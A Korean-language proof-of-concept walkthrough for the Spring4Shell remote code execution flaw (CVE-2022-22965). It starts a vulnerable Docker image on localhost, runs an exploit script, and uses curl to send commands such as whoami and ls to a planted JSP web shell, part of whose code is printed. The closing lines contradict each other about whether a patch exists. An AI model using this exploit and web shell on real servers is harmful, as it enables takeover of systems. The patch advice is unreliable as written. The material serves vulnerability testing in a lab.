
Spring4Shell - Spring Core RCE - CVE-2022-22965
3월 29일, Spring Cloud에 이어 Spring의 또 다른 중대한 취약점이 인터넷에서 발생했습니다: Spring Core RCE
3월 31일, Spring은 이 취약점을 수정하는 새 버전을 출시했습니다. 패치 섹션을 참조하세요.
3월 31일, 마침내 이 취약점에 CVE 번호가 지정되었으며, CVSS 점수 9.8(치명적)이 부여되었습니다.
이 익스플로잇은 사용하기 매우 쉬우므로 CVSS 점수 9.8이라는 매우 높은 점수를 받았습니다.
취약점을 테스트하려면 다음을 수행하면 됩니다.
취약한 Spring 도커 이미지를 시작합니다.
docker run -d -p 8082:8080 --name springrce -it vulfocus/spring-core-rce-2022-03-29
이 명령은 취약한 Spring을 localhost:8082 주소에 바인딩합니다.
curl로 이미지가 올바르게 시작되었는지 확인합니다.
curl http://localhost:8082
ok 응답이 반환되어야 합니다.
이제 취약한 이미지를 익스플로잇해 봅시다!
python3 exp.py --url http://localhost:8082
The vulnerability exists .... 응답이 반환되어야 합니다.
이제 curl로 취약점을 익스플로잇할 수 있습니다.
# Execute command whoami
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=whoami
# Response has been truncated
root
//
- if("j".equals(request.getParameter("pwd"))){ java.io.InputStream in = -.getRuntime().exec(request.getParameter("cmd")).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } - ........
# Execute command ls
curl --output - http://localhost:8082/tomcatwar.jsp?pwd=j&cmd=ls
# Response has been truncated
app
bin
dev
etc
..........
현재까지 익스플로잇은 exp.py로 업로드되어 있습니다.


Spring은 이제 이 CVE를 해결하는 새 버전을 출시했습니다. Spring의 발표를 참조하세요.
현재 Spring은 공식적으로 패치를 출시하지 않았으므로 임시 해결책으로 jdk 버전을 낮추는 것이 권장됩니다.